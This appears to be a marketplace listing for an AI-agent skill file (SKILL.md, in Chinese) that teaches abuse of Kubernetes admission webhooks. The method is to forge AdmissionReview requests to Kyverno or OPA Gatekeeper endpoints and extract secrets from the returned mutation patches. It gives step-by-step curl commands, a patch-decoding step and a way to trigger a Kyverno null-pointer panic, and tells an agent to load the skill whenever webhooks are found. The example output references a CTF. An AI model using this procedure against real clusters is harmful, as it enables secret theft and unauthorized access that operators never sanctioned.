k8s-webhook-abuse

$npx mdskill add wgpsec/AboutSecurity/k8s-webhook-abuse

Forge AdmissionReview requests to steal secrets from Kyverno.

  • Bypasses policy validation to extract injected secrets from pods.
  • Integrates with Kyverno, OPA Gatekeeper, and custom webhooks.
  • Decides execution by detecting webhook services via DNS scanning.
  • Delivers results by returning stolen secret payloads directly.

SKILL.md

.github/skills/k8s-webhook-abuseView on GitHub ↗
---
name: k8s-webhook-abuse
description: "Kubernetes Admission Webhook 滥用与策略引擎利用。当集群存在 Kyverno/OPA Gatekeeper/自定义 Webhook、DNS 扫描发现 kyverno-svc 或 gatekeeper 服务、或需要从 Mutating Webhook 提取注入的 Secret 时使用。核心手法:伪造 AdmissionReview 请求。任何在 K8s 中发现 Webhook 服务或策略引擎的场景都应使用此技能"
metadata:
  tags: "k8s,kubernetes,webhook,kyverno,opa,gatekeeper,admission,mutate,validate,策略引擎,准入控制"
  category: "cloud"
---

# Kubernetes Admission Webhook 滥用

K8s 的 Admission Webhook 是集群安全的守门人,负责在资源创建/修改时执行策略(注入 Secret、环境变量等)。问题在于:很多 Webhook 不验证请求是否来自 API Server。这意味着攻击者可以从任意 Pod 直接向 Webhook 发送伪造的 AdmissionReview 请求,骗取本应注入到特权 Pod 中的 Secret。

```
正常流程:
  kubectl create pod → API Server → Mutating Webhook → (注入 secret) → 存储

攻击流程:
  攻击者 Pod → 直接 POST 到 Webhook → Webhook 返回 patch(含 secret)
```

---

## Phase 1: 发现 Webhook 服务

```bash
# DNS 扫描发现策略引擎
k8spider scan -subnet <service-cidr>

# 常见的 Webhook 服务名
# Kyverno:
#   kyverno-svc.kyverno.svc.cluster.local (443)
#   kyverno-cleanup-controller.kyverno.svc.cluster.local
# OPA Gatekeeper:
#   gatekeeper-webhook-service.gatekeeper-system.svc.cluster.local
# 自定义:
#   *-webhook-service.*

# 检测 Webhook 端点
curl -k https://kyverno-svc.kyverno.svc.cluster.local/mutate
# GET 请求返回 "only POST/OPTIONS supported" → 说明服务可达且未验证来源
```

---

## Phase 2: 构造 AdmissionReview 请求

构造一个假的 Pod 创建请求发给 Webhook,骗它返回 mutation patch。

完整 JSON payload 模板见 → [references/admission-review-template.md](references/admission-review-template.md)

关键字段说明:
- `namespace` — 必须匹配策略的 match 条件(如 `sensitive-ns`),否则 Webhook 不会触发 mutation
- `kind` / `requestKind` — 必须填写,缺失会导致 Kyverno panic
- `operation` — 通常用 `CREATE`
- `object.spec.containers` — 至少包含一个容器定义

### 发送请求

```bash
# 保存 JSON(从 references/admission-review-template.md 获取完整模板)
cat > /tmp/admission.json << 'EOF'
... 完整 JSON ...
EOF

# 发送到 Kyverno mutate 端点
curl -k -X POST \
  -H "Content-Type: application/json" \
  -d @/tmp/admission.json \
  https://kyverno-svc.kyverno.svc.cluster.local/mutate

# 注意事项(踩坑经验):
# - 必须 HTTPS + -k(自签证书)
# - 必须 Content-Type: application/json
# - 不要加 --http1.1(Kyverno 需要 HTTP/2,否则 stream 断开)
# - namespace 必须匹配策略的 match 条件
```

---

## Phase 3: 解析返回的 Patch

响应中的 `response.patch` 是 Base64 编码的 JSONPatch:

```bash
# 从响应中提取 patch
echo '<patch-base64>' | base64 -d | jq .

# 输出示例:
# [{"op":"add","path":"/spec/containers/0/env","value":[{"name":"FLAG","value":"wiz_k8s_lan_party{...}"}]}]
```

---

## Phase 4: 其他 Webhook 攻击

### OPA Gatekeeper

端点和请求格式见 → [references/admission-review-template.md](references/admission-review-template.md)

### Kyverno 空指针 Panic(确认可利用性)

发送缺少 `requestKind`/`requestResource` 的不完整 AdmissionReview,Kyverno 会 panic(空指针解引用)。这虽然不直接有用,但能确认 Webhook 不验证调用方身份。

---

## 常见策略引擎端点

| 引擎 | 端点 | 端口 | 类型 |
|------|------|------|------|
| Kyverno | `/mutate`, `/validate` | 443 | Mutating + Validating |
| OPA Gatekeeper | `/v1/admit` | 443 | Validating |
| 自定义 | `/mutate`, `/validate`, `/webhook` | 443/8443 | 取决于实现 |

---

## 关键要点

- **Webhook 不验证来源 = 任何 Pod 都能伪造请求**
- Mutating Webhook 的返回 patch 可能包含注入的 Secret/Flag/Token
- `namespace` 字段必须匹配策略的 match 条件才能触发 mutation
- `requestKind` 和 `requestResource` 字段不能为空(否则 Kyverno 会 panic)
- 使用 HTTP/2(不要 `--http1.1`),且必须带 `Content-Type: application/json`

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|